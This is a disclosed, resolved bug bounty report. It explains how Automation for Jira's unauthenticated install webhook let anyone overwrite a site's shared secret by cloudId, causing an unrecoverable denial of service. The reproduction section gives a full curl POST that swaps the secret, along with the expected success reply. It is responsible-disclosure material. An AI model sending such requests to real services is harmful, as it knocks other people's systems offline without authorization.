Automation for Jira allows unauthenticated install with same cloudId - leading to unrecoverable DOS by any logged in user

Disclosed by
rjw
  • Engagement Atlassian
  • Disclosed date over 3 years ago
  • Reward $1,200
  • Priority P3 Bugcrowd's VRT priority rating
  • Status Resolved This vulnerability has been accepted and fixed
Summary by Atlassian

Denial of Service vulnerability in automation for Jira

Summary by rjw

Automation for Jira is implemented as a Connect integration for Jira. It allowed unauthenticated users to override the shared secret for a given cloud id - leading to all valid requests to Automation getting 403 (Unauthorized) errors. This could have resulted in a global DOS for Automation for Jira.

Report details
  • Submitted

  • Target Location

    Jira Service Management Cloud (bugbounty-test-<bugcrowd-name>.atlassian.net)
  • Target category

    Web App

  • VRT

    Application-Level Denial-of-Service (DoS) > High Impact and/or Medium Difficulty
  • Priority

    P3
  • Bug URL
    https://automation.atlassian.com/pro/rest/lifecycle/installed
  • Description

    Summary:

    • Unauthenticated user can easily create DOS for automation for Jira
    • DOS is pretty much complete - no functionality of Automation for Jira will work after the malicious request.
    • it is not possible to recover from this DOS since all requests from user or instance to automation.atlassian.com now 403

    Description:

    Automation for Jira is implemented as an Atlassian Connect app, however it uses an undocumented parameter in the installation webhook: cloudId. If this matches an existing cloud site, it will override the existing record for that cloud site, and set the shared secret to the user provided shared secret. This is all possible without any authentication whatsoever.

    Steps to reproduce

    • get the "cloudId" for an existing cloud site, I think there are numerous ways to do this, without any additional vulnerabilities, for a site you are an admin of, you can look it up via admin.atlassian.com (see screenshot) and check url for the site. Note also - there is unfixed vulnerability in support.atlassian.com which allows an attacker to get the cloudId for any site without any permissions.

    siteid.png

    • make the following request - where cloud-id is the cloud id you have generated above, and base url and display url as above:
    curl https://automation.atlassian.com/pro/rest/lifecycle/installed \
       -X POST \
       -H "Content-Type:application/json" \
       -d '{
        "key": "com.codebarrel.addons.automation",
        "clientKey": "<cloud-id>",
        "cloudId": "<cloud-id>",
        "sharedSecret": "new-shared-secret-that-is-long-enough",
        "serverVersion": "server-version",
        "pluginsVersion": "version-of-connect",
        "baseUrl": "https://bugbountytest-rjw3.atlassian.net",
        "displayUrl": " https://bugbountytest-rjw3.atlassian.net",
        "productType": "jira",
        "description": "Atlassian Jira at https://bugbountytest-rjw10.atlassian.net",
        "serviceEntitlementNumber": "SEN-22994770",
        "eventType": "installed"
      }'
    

    If the result is:

    "INSTALLED OK"
    

    Then the attack has been completed successfully and Automation for Jira will look like: forbidden.png

    How to fix:

    I believe this functionality was added to handle site re-import scenarios - one suggestion is to only allow installation requests from known Atlassian IP adresses. Or verify the installation requests with public key (as I believe is eventually planned)

    Also note - there was a verbose error message on the installation request:

    {"errorMessage":null,"message":null,"warningMessages":[],"errorMessages":["CloudId is a required field."],"errors":{},"status":400}
    

    which made it much easier to find this - it might be worth looking at the response messages for the installation endpoint.

Activity